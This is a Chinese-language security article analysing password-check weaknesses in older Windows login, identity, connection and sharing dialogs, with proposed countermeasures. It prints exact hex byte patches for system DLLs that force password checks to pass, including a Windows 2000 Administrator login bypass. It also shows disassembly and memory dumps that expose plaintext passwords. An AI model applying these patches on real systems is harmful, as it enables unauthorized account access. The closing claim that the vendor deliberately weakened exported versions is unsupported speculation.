一、问题的提出 本文仅就此处所列的几个在实际工作里发现的问题,对目前普遍使用的视窗操作系统里隐藏的几个有关密码体系的危险弱点进行了分析并给出相应对策,这些危险弱点导致的计算机安全隐患,希望能引起相关用户的重视。 1、视窗操作系统“用户登录”对话框问题 图A是大家熟悉的“用户登录”对话框:
图A 大家都知道,只要愿意,现在可以通过很多能方便从互联网上下载的实用程式对图A所示的“TesT”用户进行“Crack”以获得其原先设定在TesT.PwL文件内的正确密码,尽管这需要耗些时间,目的是能假冒用户“TesT”登录操作系统或应用系统,以逃避安全审计系统。 问题是视窗操作系统其内置的密码安全体系存在很多弱点甚至缺陷,导致对于上述操作系统起码的安全环节——用户登录,只需对一个名为“■spwL”的系统动态链接库文件,仅仅修改其“
一个”字节后,视窗操作系统这个起码的安全环节就告失效!利用这个弱点相比上述“Crack”方法几乎没有“时间成本”。 相关实验: 在视窗操作系统内找到名为“■spwL”的系统动态链接库文件,然后在常见的十六进制编辑器里搜索十六进制串{ B9
10 00 00 00 2B }后将其间的{ 10 }改为{ 00 }即上述十六进制串被改动一个字节后变为{ B9
00 00 00 00 2B },即:
搜索 → B9 10 00 00 00 2B 替为 → B9 00 00 00 00 2B |
图B 这个“标识登录”对话框最常见的是在用户试图使用视窗操作系统内置的OutLooK Express电子邮件组件时由视窗操作系统弹出。当用户选择自己的标识并输入正确的密码后即可通过OutLooK Express收发电子邮件。 同样地,大家可以在互联网上下载一些相关的实用程式来“Crack”上述“TesT” 标识的密码,然后可以假冒合法用户的标识收发邮件,但是通过这些实用程式执行后需要消耗时间才能获得结果。 同样地,我们发现视窗操作系统内置的密码安全体系存在的相关弱点,导致用户的“标识密码”形同虚设——只需对一个名为“■sidenT”的系统动态链接库文件,仅仅修改其“
二个”字节后,视窗操作系统的这个安全环节也告失效。 相关实验: 在视窗操作系统内找到名为“■sidenT”的系统动态链接库文件,然后在常见的十六进制编辑器里搜索十六进制串{ 8A
188AD33A19751A84D274128A
5801}后将其间的{ 18 }改为{ 19 }及{ 58 }改为{ 59 }即上述十六进制串被改动二个字节后变为{ 8A
198AD33A19751A 84D27412 8A
5901 },即:
搜索 → 8A 18 8AD3 3A19 751A 84D2 7412 8A 58 01 替为 → 8A 19 8AD3 3A19 751A 84D2 7412 8A 59 01 |
图C 大家都知道,目前可以方便地通过实用程式,对密码形式的文本框进行“透视”。这里我们不讨论这些内容,我们希望通过对视窗操作系统的密码安全体系里存在的危险弱点进行讨论,让大家在自己的应用系统里避免类似的疏漏,让我们自己的的应用系统更为安全。 我们发现视窗操作系统内置的密码安全体系存在的相关弱点,导致上述“TesT”用户的密码在内存里竟以明码出现,根本无须“透视”而只要在内存里稍微探查一下即可。 相关实验: 使用运行在系统级的内存探查程序或调试器,我们可以轻而易举地在系统内存探查到图C的连接登录密码(图C“TesT”用户事先设定的密码是“Chinese!10-01-1949” ): 视窗操作系统之“连接登录”密码内存探查结果[2]
地址80FD9E2A起
00 00 00 00 00 00 00 00-00 00 3F 03 8C 03 26 01 ..........?...&.
43 68 69 6E 65 73 65 21-31 30 2D 30 31 2D 31 39 Chinese!10-01-19 34 39 00 00 00 00 00 00-00 00 00 00 00 00 00 00 49.............. 00 00 67 03 B4 03 22 01-54 65 73 54 00 00 00 00 ..g...". TesT.... |
图 D 大家知道,上述对话框同样可以方便地通过实用程式,对密码形式的文本框进行“透视”。这里我们不讨论这些内容,我们换一个角度来讨论。 我们发现视窗操作系统内置的密码安全体系存在的相关弱点,同样导致上述“TesT”用户的“只读”密码以及“完全访问”密码在内存里以明码出现,根本无须“透视”而只要在内存里稍微探查一下即可。 相关实验: 使用运行在系统级的内存探查程序或调试器,我们可以轻而易举地在系统内存探查到图D的共享登录设置密码(图D“TesT”用户事先设定的“只读”密码以及“完全访问”密码分别是“TesTTesT” 及“!!GoTo!!”——最多八个字符): 视窗操作系统之“共享登录”设置密码内存探查结果
地址816B55D2起
00 00 B6 0F 00 00 00 40-00 00 E7 02 64 03 2A 01 .......@.
54 65 73 54 54 65 73 54-00 00 00 00 00 00 00 00 TesTTesT. 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ......... 00 00 3F 03 8C 03 26 01-00 00 00 00 00 00 00 00 ..?...&.. 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ......... 00 00 00 00 00 00 00 00-00 00 67 03 B4 03 22 01 ......... 54 65 73 54 00 00 00 00-00 00 00 00 00 00 00 00 TesT..... 地址816B57F2起 00 00 06 00 00 00 00 00-05 00 57 04 74 06 2E 01 ......... 21 21 47 6F 54 6F 21 21-00 00 00 00 00 00 00 00 !!GoTo!!. |
: : 以上进行了多次单向HasH运算并得到长度为128位的HasH串(具体算法分析略)然后与保存在对应PWL文件内的正确值比对,详见以下代码。 : : 7FA71D97 B910000000 mov ecx, 00000010 ;HasH串为128位即16个字节 7FA71D9C 2BC0 sub eax, eax ;初始化EAX寄存器 7FA71D9E F3 repz 7FA71D9F A6 cmpsb ;进行128位HasH串比对 7FA71DA0 7405 je 7FA71DA7 ;相等,系统认为用户密码正确 7FA71DA2 1BC0 sbb eax, eax ;否则置密码比对错误标志 7FA71DA4 83D8FF sbb eax, FFFFFFFF 7FA71DA7 85C0 test eax, eax ;测试密码比对标志位 7FA71DA9 B8261C0000 mov eax, 00001C26 ;预置密码错误消息 7FA71DAE 7502 jne 7FA71DB2 ;密码比对错误,则转 7FA71DB0 33C0 xor eax, eax ;否则置密码比对正确位 7FA71DB2 5F pop edi ;恢复现场 7FA71DB3 5E pop esi ;恢复现场 7FA71DB4 5B pop ebx ;恢复现场 7FA71DB5 8BE5 mov esp, ebp ;恢复现场 7FA71DB7 5D pop ebp ;恢复现场 7FA71DB8 C20400 ret 0004 ;返回 : : |
将 mov ecx, 000000 10 改为 → mov ecx, 000000 00 |
一个”字节,“用户登录”密码的比对结果就将“永远”正确。 仅仅依赖一条“repz cmpsb”指令对系统级的密码进行决定性研判是相当危险的,而仅仅通过一条件语句来选择视窗操作系统的密码安全类指令的决定性流向,其实是很“传统”的低级做法,保护效果相当脆弱。因为不论操作系统采用的单向HasH结果长度多么“惊人”也不论操作系统在执行“repz cmpsb”这条研判指令之前进行了多少轮大负荷的迭代编码,我们只要在这一条“关键路径”上实施“点穴”——这个层次的安全保护即告失效。 对策: 视窗操作系统在这里的最大“疏忽”就是对“苦心积虑”最后获得的128位HasH串仅仅参与简单的比对,并没有进行更有效的利用,建议:
将上述最后运算出来的128位HasH串不论其对错都作为新一轮解码迭代运算的输入算子,对后续的部分关键代码或数据实施解码,这样用户输入正确的密码后自然能正确地继续装载视窗操作系统,否则只能导致错误提示而无法继续正确地装载视窗操作系统。 事实上这是一个明显的安全漏洞。不要认为存储设备上的系统级文件设置了“只读”、“隐藏”等权限,就可以高枕无忧。事实上,只要系统的存储设备可以被“物理”地读写,那么对其上敏感的系统级文件进行“篡改”就不会是一件“相当”困难的事情。而在大多数情况下,这件事还是比较容易做到的。有关这个安全漏洞的更进一步讨论,我们将在《脆弱的软件著作权保护方式及对策》一文里进行,并相应地给出一个有效的解决方案。 2、关于视窗操作系统“标识登录”对话框问题 我们将视窗操作系统内“标识登录”密码研判的核心代码列出来分析如下。
: : ┏ ECX、EAX分别指向用户输入密码及正确密码 797972C3 8D4DE8 lea ecx, dword ptr [ebp-18] 797972C6 8D85E8FDFFFF lea eax, dword ptr [ebp+FFFFFDE8] 797972CC 8A18 mov bl, byte ptr [eax] ;获取第一个密码字符 797972CE 8AD3 mov dl, bl ;保存起副本 797972D0 3A19 cmp bl, byte ptr [ecx] ;与正确的密码比对 797972D2 751A jne 797972EE ;第一个密码字符不正确 797972D4 84D2 test dl, dl ;为最后一个密码字符? 797972D6 7412 je 797972EA ;是则转 797972D8 8A5801 mov bl, byte ptr [eax+01] ;获取下一密码字符 797972DB 8AD3 mov dl, bl ;保存其副本 797972DD 3A5901 cmp bl, byte ptr [ecx+01] ;与正确的密码比对 797972E0 750C jne 797972EE ;比对不成功则转 797972E2 40 inc eax ;调整当前密码字符指针 797972E3 40 inc eax ;调整当前密码字符指针 797972E4 41 inc ecx ;调整正确密码字符指针 797972E5 41 inc ecx ;调整正确密码字符指针 797972E6 84D2 test dl, dl ;为最后一个密码字符? 797972E8 75E2 jne 797972CC ;尚未比对完则转 797972EA 33C0 xor eax, eax ;比对结束并且全部正确 797972EC EB05 jmp 797972F3 ;转后续测试标志位 797972EE 1BC0 sbb eax, eax ;比对结束但是不正确 797972F0 83D8FF sbb eax, FFFFFFFF ;置错误标志位 797972F3 85C0 test eax, eax ;测试标志位 797972F5 7434 je 7979732B ;密码比对正确则转 : : |
将 mov bl, byte ptr [ eax] 改为 → mov bl, byte ptr [ ecx] 将 mov bl, byte ptr [ eax+01] 改为 → mov bl, byte ptr [ ecx+01] |
二个”字节,“标识登录”密码的比对结果就将“永远”正确。这同样是一个明显的安全漏洞。这个漏洞源自明文密码比较的指令过于接近,很容易通过对有关的指令代码进行“篡改”达到“冒名”攻击的目的。 对策: 首先我们要尽可能避免明文密码的比较,并尽可能地将明码密码“暗码”化,即将明文密码通过稳健的摘要密码算法“撕碎”后“淹没”在长度至少在128位的高强度单向散列串里(具体参考我们发表的《大型Web应用软件系统的安全登录隐患及对策》一文),如果实在没有这个“耐性”做这项工作,那至少要考虑将密码研判的有关指令“离散”化而不象现在这般前后“紧密”相连,更为安全的做法请参考我们完成的《脆弱的软件著作权保护方式及对策》一文,里头相应地给出一个有效的解决方案。 3、关于视窗操作系统“连接登录”对话框问题 原因在于视窗操作系统对这类密码解码及研判,既没有如“用户登录”对话框般采用比较安全的“OpeNPassworDCachE”方法对有关内存进行分配,也没有对有关密码存储的内存在研判后进行必要“清零”。所以我们可以轻而易举地通过内存探查,找到用户的上述敏感数据。 对策: 首先考虑启用较安全的“OpeNPassworDCachE”方法对有关内存进行分配,并确保密码比较后必须立即执行有关密码内存单元的“清零”工作,以抵御内存探查工具“窥视”攻击。如果需要更安全的密码研判,就应该尽可能避免在内存里出现明文密码,具体做法请参考我们完成的《脆弱的软件著作权保护方式及对策》一文,里头相应地给出一个有效的解决方案。 4、关于视窗操作系统“共享登录”设置对话框问题 原因在于视窗操作系统对这类密码解码及研判,既没有采用比较安全的“OpeNPassworDCachE”方法对有关内存进行分配,也没有对有关密码存储的内存在研判后进行必要“清零”。所以我们可以轻而易举地通过内存探查,找到用户的上述敏感数据。 对策: 首先考虑启用较安全的“OpeNPassworDCachE”方法对有关内存进行分配,并确保密码比较后必须立即执行有关密码内存单元的“清零”工作,以抵御内存探查工具“窥视”攻击。如果需要更安全的密码研判,就应该尽可能避免在内存里出现明文密码,具体做法请参考我们完成的《脆弱的软件著作权保护方式及对策》一文,里头相应地给出一个有效的解决方案。 三、结论 对于被具有起码强度的稳健单向HasH算法保护的产品,简单并可能有效但是未必高效的攻击当然首先考虑的是穷举,当然其规模不能太大,但是对于视窗操作系统产品而言,在大多数情况下就连穷举都可以省略,直接“Crack”或直接进行内存探查就能达到目的,这是因为其没有对系统指令代码及密码等敏感数据所在内存的安全性进行必要的维护以及保护: (1)对于系统指令代码而言,视窗操作系统大都以常规形式读写、执行,缺乏对关键指令代码进行必要的校验,以防止其在系统内存里被“篡改”。 (2)对于密码数据而言,视窗操作系统将“还原”后的密码在“使用”完毕后仍以明码形式遗留在系统内存里,而“密码存储内存在密码研判后进行清零”——这是稍有些密码安全知识的人的常识性做法,何以视窗操作系统生产商却出现如此疏忽? 目前我们尚未获得视窗操作系统生产商在其本土销售的版本,如果相关的分析表明仅仅在其国际版本里才存在本文讨论的这些密码安全体系弱点,抛开其开发成本或稳定性等托词,其真正用意值得大家深思。 大家也不要认为视窗2K等版本相对而言较安全,就抱着侥幸心理以为没有上述有关密码安全体系方面的弱点。我们的分析包括了视窗2K等版本,就“用户登录”对话框问题而言,视窗2K等版本操作系统同样存在上述安全隐患。只需对一个名为“■sv1_0”的系统动态链接库文件,仅仅修改其“
一个”字节后,视窗2K等版本操作系统起码的安全环节就告失效。可轻松以超级用户“Administrator”登录,利用这个弱点无须“Crack”,有关的“时间成本”几乎为零!所以本文的讨论还是有代表性的。希望能引起大家必要的重视。 视窗2K版本的相关实验: 在视窗2K版本操作系统内找到名为“■sv1_0”的系统动态链接库文件,然后在常见的十六进制编辑器里搜索十六进制串{ F8
10 0F 84 71 FF FF }后将其间的{ 10 }改为{ 00 }即上述十六进制串被改动一个字节后变为{ F8
00 0F 84 71 FF FF },即:
搜索 → F8 10 0F 84 71 FF FF 替为 → F8 00 0F 84 71 FF FF |